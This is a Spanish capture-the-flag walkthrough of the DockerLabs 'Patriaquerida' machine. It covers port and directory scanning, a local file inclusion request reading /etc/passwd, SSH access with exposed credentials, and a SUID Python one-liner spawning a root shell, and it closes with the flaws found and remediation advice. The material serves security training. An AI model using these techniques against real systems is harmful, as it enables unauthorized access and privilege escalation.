Patriaquerida
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina Patriaquerida, desarrollada por JuanR para la plataforma DockerLabs y catalogada con un nivel de dificultad fácil. El análisis se organiza de manera clara y progresiva, permitiendo comprender tanto la lógica de explotación como las vulnerabilidades detectadas a lo largo del proceso.
Los objetivos principales son:
- Identificar los vectores de ataque disponibles.
- Analizar los servicios expuestos y archivos accesibles.
- Obtener acceso inicial mediante la explotación de un fallo de inclusión de archivos locales (LFI) y posteriormente un ataque de fuerza bruta.
- Escalar privilegios aprovechando binarios con permisos elevados hasta obtener el control total del sistema.
La metodología se estructura en tres fases:
- Reconocimiento: identificación de servicios, recursos expuestos y análisis preliminar.
- Explotación: validación de vulnerabilidades, extracción de credenciales y obtención del acceso inicial.
- Escalada de privilegios: abuso de configuraciones de
sudoy binarios SUID para obtener privilegios de superusuario.
Todas las pruebas se realizaron en el entorno aislado proporcionado por DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | Patriaquerida |
| Autor | JuanR |
| Dificultad | Fácil |
| Fecha | 14/01/2025 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Se descomprime la máquina:
unzip "Patriaquerida.zip"Luego se inicia el contenedor correspondiente:
sudo bash auto_deploy.sh "Patriaquerida.tar"El script devuelve la IP interna, que será utilizada en todas las fases posteriores.

Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno de trabajo
Sección titulada «1.1 Organización del entorno de trabajo»Se crea una estructura de directorios para organizar los hallazgos y mantener un flujo ordenado:
mkdir -p Patriaquerida/{content,exploits,nmap,gobuster,scripts}cd Patriaquerida1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»Se realiza un escaneo completo con Nmap:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos detectados:
- 22/tcp — SSH
- 80/tcp — HTTP

1.3 Enumeración Web (HTTP - puerto 80)
Sección titulada «1.3 Enumeración Web (HTTP - puerto 80)»Se realiza un análisis de directorios accesibles mediante Gobuster:
gobuster dir \ -u http://172.18.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js \ -t 200
Resultados encontrados:
- /index.php — Contiene una pista.

- /index.html — Página por defecto de Apache.

En index.php se revela la ubicación del archivo /.hidden_pass, cuyo contenido es:

Paso 2 — Explotación (Acceso Inicial)
Sección titulada «Paso 2 — Explotación (Acceso Inicial)»Con la contraseña descubierta, falta determinar un usuario válido.
Para ello, se identifica que la aplicación es vulnerable a LFI, lo que permite leer el archivo /etc/passwd:
http://172.17.0.2/index.php?page=/etc/passwd
Con esto se obtiene una combinación usuario:contraseña válida. Finalmente, se accede por SSH:

Accedemos como el usuario pinguino.
Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De Pinguino → Mario
Sección titulada «3.1 De Pinguino → Mario»En el directorio HOME de pinguino se encuentra el archivo nota_mario.txt:

El archivo contiene la contraseña del usuario mario, permitiendo acceder con:
su mario
3.2 De Mario → root (SUID en Python)
Sección titulada «3.2 De Mario → root (SUID en Python)»Aunque sudo -l no muestra permisos especiales, se encuentran binarios con SUID activo:
find / -perm -4000 2>/dev/null
Destaca:
/usr/bin/python3.8Para aprovecharlo:
/usr/bin/python3.8 -c 'import os; os.execl("/bin/sh", "sh", "-p")'Acceso root conseguido:

Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- Presencia de archivos sensibles accesibles desde el entorno web.
- Vulnerabilidad de LFI (Local File Inclusion) en
index.php. - Credenciales expuestas en archivos internos.
- Contraseñas débiles o no rotadas entre usuarios.
- Binario Python con SUID, permitiendo escalada directa a root.
Recomendaciones
Sección titulada «Recomendaciones»- Restringir acceso a archivos internos no destinados al público.
- Implementar validación estricta en parámetros utilizados para incluir archivos.
- Evitar almacenar contraseñas en texto plano.
- Establecer políticas de contraseñas robustas y rotación periódica.
- Eliminar o restringir binarios con SUID innecesarios.
- Aplicar controles de permisos adecuados en el sistema de archivos.